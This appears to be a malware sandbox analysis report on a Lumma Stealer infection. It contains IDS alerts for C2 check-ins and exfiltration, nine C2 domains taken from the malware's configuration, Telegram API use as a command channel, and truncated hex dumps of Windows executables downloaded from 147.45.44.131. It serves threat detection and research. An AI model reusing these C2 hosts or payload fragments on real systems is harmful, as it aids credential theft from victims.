Source: Network traffic	Suricata IDS: 2800029 - Severity 1 - ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass : 147.45.44.131:80 -> 192.168.2.4:49741
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49751 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49751 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49747 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49747 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49752 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49752 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49759 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49767 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49732 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49731 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49746 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49746 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49750 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49750 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49730 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49745 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49745 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49733 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49773 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49776 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49755 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49755 -> 104.21.60.24:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: fivenaii.click

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Dec 2024 21:33:06 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 25 Dec 2024 00:05:52 GMTETag: "8e00-62a0cfe2cdd29"Accept-Ranges: bytesContent-Length: 36352Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 50 91 b7 cd 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 84 00 00 00 08 00 00 00 00 00 00 1a a3 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 a2 00 00 4f 00 00 00 00 c0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 ac a2 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 83 00 00 00 20 00 00 00 84 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 c0 00 00 00 06 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 00 00 00 02 00 00 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc a2 00 00 00 00 00 00 48 00 00 00 02 00 05 00 44 22 00 00 68 80 00 00 03 00 02 00 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 05 00 a9 00 00 00 01 00 00 11 73 0f 00 00 0a 0a 73 10 00 00 0a 0b 07 28 11 00 00 0a 03 6f 12 00 00 0a 6f 13 00 00 0a 0c 06 08 6f 14 00 00 0a 06 17 6f 15 00 00 0a 06 18 6f 16 00 00 0a 1f 10 8d 1c 00 00 01 0d 02 16 09 16 09 8e 69 28 17 00 00 0a 06 09 6f 18 00 00 0a 02 8e 69 09 8e 69 59 8d 1c 00 00 01 13 04 02 09 8e 69 11 04 16 11 04 8e 69 28 17 00 00 0a 06 6f 19 00 00 0a 13 05 11 05 11 04 16 11 04 8e 69 6f 1a 00 00 0a 13 06 de 20 11 05 2c 07 11 05 6f 1b 00 00 0a dc 07 2c 06 07 6f 1b 00 00 0a dc 06 2c 06 06 6f 1b 00 00 0a dc 11 06 2a 00 00 00 01 28 00 00 02 00 74 00 12 86 00 0c 00 00 00 00 02 00 0c 00 86 92 00 0a 00 00 00 00 02 00 06 00 96 9c 00 0a 00 00 00 00 13 30 02 00 19 00 00 00 02 00 00 11 02 28 1c 00 00 0a 03 28 01 00 00 06 0a 28 11 00 00 0a 06 6f 1d 00 00 0a 2a 1e 02 28 1e 00 00 0a 2a 00 00 00 13 30 07 00 9e 00 00 00 03 00 00 11 72 01 00 00 70 0a 73 1f 00 00 0a 73 20 00 00 0a 0b 07 6f 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Dec 2024 21:33:06 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 25 Dec 2024 00:05:52 GMTETag: "8e00-62a0cfe2cdd29"Accept-Ranges: bytesContent-Length: 36352Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 50 91 b7 cd 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 84 00 00 00 08 00 00 00 00 00 00 1a a3 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 a2 00 00 4f 00 00 00 00 c0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 ac a2 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 83 00 00 00 20 00 00 00 84 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 c0 00 00 00 06 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 00 00 00 02 00 00 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc a2 00 00 00 00 00 00 48 00 00 00 02 00 05 00 44 22 00 00 68 80 00 00 03 00 02 00 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 05 00 a9 00 00 00 01 00 00 11 73 0f 00 00 0a 0a 73 10 00 00 0a 0b 07 28 11 00 00 0a 03 6f 12 00 00 0a 6f 13 00 00 0a 0c 06 08 6f 14 00 00 0a 06 17 6f 15 00 00 0a 06 18 6f 16 00 00 0a 1f 10 8d 1c 00 00 01 0d 02 16 09 16 09 8e 69 28 17 00 00 0a 06 09 6f 18 00 00 0a 02 8e 69 09 8e 69 59 8d 1c 00 00 01 13 04 02 09 8e 69 11 04 16 11 04 8e 69 28 17 00 00 0a 06 6f 19 00 00 0a 13 05 11 05 11 04 16 11 04 8e 69 6f 1a 00 00 0a 13 06 de 20 11 05 2c 07 11 05 6f 1b 00 00 0a dc 07 2c 06 07 6f 1b 00 00 0a dc 06 2c 06 06 6f 1b 00 00 0a dc 11 06 2a 00 00 00 01 28 00 00 02 00 74 00 12 86 00 0c 00 00 00 00 02 00 0c 00 86 92 00 0a 00 00 00 00 02 00 06 00 96 9c 00 0a 00 00 00 00 13 30 02 00 19 00 00 00 02 00 00 11 02 28 1c 00 00 0a 03 28 01 00 00 06 0a 28 11 00 00 0a 06 6f 1d 00 00 0a 2a 1e 02 28 1e 00 00 0a 2a 00 00 00 13 30 07 00 9e 00 00 00 03 00 00 11 72 01 00 00 70 0a 73 1f 00 00 0a 73 20 00 00 0a 0b 07 6f 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Dec 2024 21:33:06 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 25 Dec 2024 00:05:52 GMTETag: "8e00-62a0cfe2cdd29"Accept-Ranges: bytesContent-Length: 36352Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 50 91 b7 cd 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 84 00 00 00 08 00 00 00 00 00 00 1a a3 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 a2 00 00 4f 00 00 00 00 c0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 ac a2 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 83 00 00 00 20 00 00 00 84 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 c0 00 00 00 06 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 00 00 00 02 00 00 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc a2 00 00 00 00 00 00 48 00 00 00 02 00 05 00 44 22 00 00 68 80 00 00 03 00 02 00 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 05 00 a9 00 00 00 01 00 00 11 73 0f 00 00 0a 0a 73 10 00 00 0a 0b 07 28 11 00 00 0a 03 6f 12 00 00 0a 6f 13 00 00 0a 0c 06 08 6f 14 00 00 0a 06 17 6f 15 00 00 0a 06 18 6f 16 00 00 0a 1f 10 8d 1c 00 00 01 0d 02 16 09 16 09 8e 69 28 17 00 00 0a 06 09 6f 18 00 00 0a 02 8e 69 09 8e 69 59 8d 1c 00 00 01 13 04 02 09 8e 69 11 04 16 11 04 8e 69 28 17 00 00 0a 06 6f 19 00 00 0a 13 05 11 05 11 04 16 11 04 8e 69 6f 1a 00 00 0a 13 06 de 20 11 05 2c 07 11 05 6f 1b 00 00 0a dc 07 2c 06 07 6f 1b 00 00 0a dc 06 2c 06 06 6f 1b 00 00 0a dc 11 06 2a 00 00 00 01 28 00 00 02 00 74 00 12 86 00 0c 00 00 00 00 02 00 0c 00 86 92 00 0a 00 00 00 00 02 00 06 00 96 9c 00 0a 00 00 00 00 13 30 02 00 19 00 00 00 02 00 00 11 02 28 1c 00 00 0a 03 28 01 00 00 06 0a 28 11 00 00 0a 06 6f 1d 00 00 0a 2a 1e 02 28 1e 00 00 0a 2a 00 00 00 13 30 07 00 9e 00 00 00 03 00 00 11 72 01 00 00 70 0a 73 1f 00 00 0a 73 20 00 00 0a 0b 07 6f 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Dec 2024 21:33:09 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 25 Dec 2024 16:22:08 GMTETag: "4c000-62a1aa1957b5c"Accept-Ranges: bytesContent-Length: 311296Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 86 59 69 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 b2 00 00 00 00 00 00 00 86 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bf 3b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 05 00 5c 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 3d 04 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fc 09 04 00 00 10 00 00 00 0a 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 bd 20 00 00 00 20 04 00 00 22 00 00 00 0e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 d6 00 00 00 50 04 00 00 54 00 00 00 30 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 5c 3b 00 00 00 30 05 00 00 3c 00 00 00 84 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Dec 2024 21:33:09 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 25 Dec 2024 16:22:08 GMTETag: "4c000-62a1aa1957b5c"Accept-Ranges: bytesContent-Length: 311296Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 86 59 69 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 b2 00 00 00 00 00 00 00 86 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bf 3b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 05 00 5c 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 3d 04 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fc 09 04 00 00 10 00 00 00 0a 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 bd 20 00 00 00 20 04 00 00 22 00 00 00 0e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 d6 00 00 00 50 04 00 00 54 00 00 00 30 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 5c 3b 00 00 00 30 05 00 00 3c 00 00 00 84 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Dec 2024 21:33:09 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 25 Dec 2024 16:22:08 GMTETag: "4c000-62a1aa1957b5c"Accept-Ranges: bytesContent-Length: 311296Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 86 59 69 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 b2 00 00 00 00 00 00 00 86 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bf 3b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 05 00 5c 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 3d 04 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fc 09 04 00 00 10 00 00 00 0a 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 bd 20 00 00 00 20 04 00 00 22 00 00 00 0e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 d6 00 00 00 50 04 00 00 54 00 00 00 30 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 5c 3b 00 00 00 30 05 00 00 3c 00 00 00 84 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
